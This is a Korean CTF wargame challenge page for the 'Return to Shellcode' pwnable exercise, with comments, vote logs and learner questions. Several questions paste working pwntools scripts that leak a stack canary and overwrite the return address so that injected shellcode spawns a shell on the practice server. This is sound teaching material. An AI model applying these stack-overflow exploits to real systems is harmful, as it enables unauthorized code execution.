학습
워게임
CTF
커뮤니티
랭킹
스토어
커리어
Beta
로그인
|
기업 서비스
Home
학습
워게임
CTF
커뮤니티
랭킹
커리어
Beta
기업 서비스로 이동하기 >
LEVEL 2
Return to Shellcode
pwnable
4480
2525
로그인 하고 문제 풀기
문제 정보
풀이
87
난이도 투표
83
질문
16
최근 풀이자
2525
댓글
47
문제 설명
Description
Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.
Translate
출제자 정보
Dreamhack
대표 업적 없음
2021.12.08. 16:19:14
First Blood!
st4rlight
안드로이드
출제된 지
3시간
만에 풀이 완료!
난이도 투표
83
문제 풀이를 완료한 후에 피드백을 제출할 수 있습니다.
투표 결과
전체 투표 로그
1 / 17
박종니
사이보그
LEVEL 2에 투표했습니다.
2일 전
_Jin_
대표 업적 없음
LEVEL 2에 투표했습니다.
3일 전
shr3wd
대표 업적 없음
LEVEL 2에 투표했습니다.
3일 전
coldzera
대표 업적 없음
LEVEL 2에 투표했습니다.
5일 전
우빙
강의 수강: 1
LEVEL 1에 투표했습니다.
5일 전
질문
16
문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
기존 코드에 remote만 바뀌었는데 [*] Got EOF while reading in interactive 에러가 나요..
from pwn import * def slog(n, m): return success(": ".join([n, hex(m)])) p = remote("host3.dreamhack.games", 10234) context.arch = "amd64" £ [1] Get inforamtion about buf p.recvuntil("buf: ") buf = int(p.recvline()[:-1], 16) slog("Address of buf", buf) p.recvuntil("$rbp: ") buf2sfp = int(p.recvline().split()[0]) buf2cnry = buf2sfp - 8 slog("buf <=> sfp", buf2sfp) slog("buf <=> canary", buf2cnry) £ [2] Leak canary value payload = b"A"*(buf2cnry + 1) p.sendafter("Input:" ,payload) p.recvuntil(payload) cnry = u64(b"\x00" + p.recvn(7)) slog("Canary", cnry) £ [3] Exploit sh = asm(shellcraft.sh()) payload = sh.ljust(buf2cnry, b"A") payload += p64(cnry) payload += b"B" * 8 payload += p64(buf) p.sendlineafter("Input:", payload) p.interactive() --결과는 [+] Opening connection to host3.dreamhack.games on port 10234: Done [+] Address of buf: 0x7fffd3c518f0 [+] buf <=> sfp: 0x60 [+] buf <=> canary: 0x58 [+] Canary: 0x325b0a27bab65900 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ id $ ls [*] Closed connection to host3.dreamhack.games port 10234 [*] Got EOF while sending in interactive 다들 동일하게 하신것 같은데 왜 안될까요.ㅠㅠ 로컬에서는 잘 돌아요.;;
lattekim33
답변
1
추천
0
2년 전
해당 코드에서 recv와 recvline의 차이를 알고싶습니다.
buf=int(p.recv()[20:34],16) buf2sfp =int(p.recv()[31:33]) buf2cnry = length-8 fir_input = b'Q'*(buf2cnry +1) p.sendafter(b'Input:',fir_input) recv를 사용하면 sendafter이 안되고 타임 아웃이 되던데 이유가 너무 궁금합니다 buf,buf2sfp,buf2cnry까지 값이 정상적으로 잘 들어갔는데 sendafter만 이해가 안가서 질문해봅니다.
MerryQ
답변
1
추천
0
11개월 전
[*] Got EOF while reading in interactive
from pwn import asm,shellcraft,remote, context, u64, p64 p = remote('host3.dreamhack.games', 19436) context.arch = 'amd64' p.recvuntil(b'Address of the buf: ') buf = int(p.recvn(14), 16) print(buf) p.recvuntil(b'Distance between buf and $rbp: ') sfp = p.recvn(2) sfp = int(sfp) bf2canary = sfp-8 print('buf->canary: ', bf2canary) payload=b'A'*(bf2canary+1) p.sendlineafter(b'Input: ', payload) p.recvuntil(payload) canary = u64(b'\x00' + p.recvn(7)) # 0 바이트를 앞에 추가 shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(bf2canary, b'A') + p64(canary) + b'B'*8 + p64(buf) p.recvuntil(b'[2] Overwrite the return address') p.sendlineafter(b'Input: ', payload) p.interactive() 코드에 무슨 문제가 있는지 모르겠습니다 ㅠㅠㅠ
chwrld
답변
2
추천
0
1년 전
셸코드 위치 질문 드립니다
payload = b'' payload += shellcode payload += b'\x90'*(dis-8-len(shellcode)) payload += canary payload += b'A'*8 payload += p64(addr) 페이로드를 작성할 때 위와 같이 보내면 정상적으로 셸이 획득되는데, 여기서 payload += b'\x90'*(dis-8-len(shellcode))를 먼저 작성하고, 그 다음 payload += shellcode를 작성하면 익스 코드가 동작하지 않습니다. NOP이 셸코드의 앞에 위치하면 다른 결과가 나오는 이유는 무엇인가요? 셸코드가 꼭 buf의 시작 지점에 있어야만 정상적으로 실행되는 건가요?
santa6
답변
4
추천
0
2년 전
64비트 환경에서 32비트 실행파일 디버깅법
64비트 환경에서 32비트 파일 실행 자체는 구글링 통해 라이브러리 설치해서 해결했는데 32비트 파일 pwndbg로 실행 후 breakpoint 걸고 run 시키면 warning: Selected architecture i386 is not compatible with reported target architecture i386:x86-64 warning: Architecture rejected target-supplied description Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x80487de 해당 오류 메세지가 뜹니다.. 해결 방법 아시는 분 계실까여
mooji
답변
2
추천
0
2년 전
Return Buf 시 필요 없는 값에 대해서 어떻게 처리 되는 것인지 궁금합니다.
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf) 로 쉘 값을 buf에 넣고 다시 ret을 buf로 할 때 sh.ljust(buf2cnry, b"A") 에서 필요 없는 A는 어떻게 처리하기에 쉘 접근이 가능한지 궁금합니다.
gangneoug
답변
2
추천
0
2년 전
해당 문제 관련해서 질문 드릴게 있습니다.
해당 코드에서 사용되는 buf는 0x50사이즈인 반면, buf와 canary의 byte차이는 0x58입니다. 추가적인 8byte는 어디서 온 건가요? 단순한 Byte padding인가요? canary값을 받는 것에 대한 질문이 있습니다. 버퍼의 주소의 경우 다음과 같은 코드로 입력값을 받아왔습니다. buf = int(p.recvline()[0:-1], 16) slog('Address of buf', buf) 그리고 canary값은 다음과 같은 코드로 입력값을 받고 있습니다. raw_canary = p.recvn(7) print ("RAW_CANARY : ", raw_canary) cnry = u64(b'\x00' + raw_data) slog("canary : ", cnry) 해당 코드로 받은 데이터는 다음과 같습니다. raw_canary = 0x 41 0e ce 75 fe 86 81 (little endian) cnry = 0x 81 86 fe 75 ce 0e 41 00 (big endian) 여기서 궁금한게, buf는 단순히 받으면 본래 buf의 주소값이 받아져서, 별다른 데이터 핸들링이 필요가 없이 big endian으로 잘 받아지는데, canary의 경우 little endian 데이터로 받아지고 이를 u64를 써서 big endian unpacking해줘야 하는 이유를 잘 모르겠습니다. 이 지점에서 많이 헷갈리고 있는데, 도움 부탁드립니다.
Hi, Thankkuu
답변
1
추천
0
6개월 전
sendafter, sendlineafter 쓰일때 헷갈려요...
그 pwntools 에서 어쩔때는 sendafter 쓰면 되는데 어쩔때는 꼭 sendlineafter 을 써야 되더라고요.. read 나 get 함수가 쓰일때는 lineafter 가 쓰이는 머 그런건가요?? 너무 헷갈려요....ㅠㅠㅠㅠ
사자
답변
1
추천
0
1년 전
코드 질문
from pwn import * def slog(n, m): return success(": ".join([n, hex(m)])) p = remote("host3.dreamhack.games",20931) p.recvuntil(b'buf: ') buf = int(p.recvline(),16) slog("BUF ADD is ",buf) p.recvuntil(b'$rbp: ') buf2sfp = int(p.recvline()) buf2cnry = buf2sfp-8 slog("buf2sfp",buf2sfp) slog("buf2cnry",buf2cnry) payload = b'A'*(buf2cnry+1) p.sendafter(b'Input:',payload) p.recvuntil(payload) cnry = u64(b'\x00'+p.recvn(7)) slog("cnry is ",cnry) sh = asm(shellcraft.sh()) payload = sh.ljust(buf2cnry,b'A')+p64(cnry)+b'B'*0x8 +p64(buf) p.sendlineafter(b'Input: ',payload) p.interactive() 해당 코드가 쉘이 따지지 않네요.. 아무리 확인해봐도 쉘이 죽는데 어떤 부분이 잘못된건가요..?
KkumTree
답변
1
추천
0
2년 전
코드 작성 중 이해가 안되는 부분이 있습니다.
from pwn import * p = remote('host3.dreamhack.games', 9669) context.arch = 'amd64' p.recvuntil('Address of the buf:') buf = int(p.recv(14),16) // (1) buf = p64(buf) shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(89,b'\x90') // (2) p.sendafter('Input: ',payload) canary = b'\x00'+p.recv(7) payload = shellcode.ljust(88,b'\x90') // (3) payload += canary payload += b'A'*8 // (4) payload += buf p.sendline(payload) p.interactive() 제가 코드를 이해하지 못해서, 다른 블로그에 있는 코드를 참조하였습니다. (1)의 경우, 왜 14바이트만큼 16진수로 불러오는지 정확히 모르겠습니다. (2),(3)의 경우, 쉘 코드의 첫바이트가 \x00인 널바이트라고 저는 생각했는데, \x90 을 넣는 이유가 무엇인가요? 그리고 shellcode.ljust의 정확한 용도가 무엇인지 궁금합니다. (4)의 경우, 더미 부분인 8바이트를 채우기 위해서 A를 8번 집어넣는것인가요? 더 열심히 공부하겠습니다.
doridoriman
답변
1
추천
0
3년 전
«
‹
1
2
›
»
최근 풀이자
2525
bindon
대표 업적 없음
4시간 전
방구석토템
대표 업적 없음
6시간 전
승연이
대표 업적 없음
21시간 전
ouluhumen
대표 업적 없음
1일 전
박종니
사이보그
2일 전
뚜와리밥
대표 업적 없음
2일 전
정윤주
대표 업적 없음
2일 전
Turt1e94
대표 업적 없음
3일 전
d0ng
강의 수강: 1
3일 전
_Jin_
대표 업적 없음
3일 전
«
‹
1
2
3
4
5
›
»
댓글
47
rnehgud_
조커
4개월 전
pwntools shellcraft 안되시는 분 직접 쉘코드 작성해서 하면 되네요. 로컬과 원격의 차이 때문인가?
Translate
공부할랭
대표 업적 없음
10개월 전
지금까지 문제 난이도중에 제일 적절했어요
Translate
EnUm
시니어
1년 전
ㅎㅎ
Translate
스카이넷
워게임 고인물
1년 전
ez
Translate
O_F
대표 업적 없음
2년 전
좋습니다
Translate
looking4
대표 업적 없음
2년 전
loveee it
Translate
sinse100
대표 업적 없음
2년 전
nice
Translate
8ae8
대표 업적 없음
2년 전
>:(
Translate
l000wk3y
공부벌레
2년 전
카나리 동작 개념만 잘 익히면 기존 rao나 크게 차이나지 않습니다.
Translate
롸플
강의 수강: 10
2년 전
첫번째입력을 str으로 보내는 실수를;;
Translate
«
‹
1
2
3
4
5
›
»
댓글 47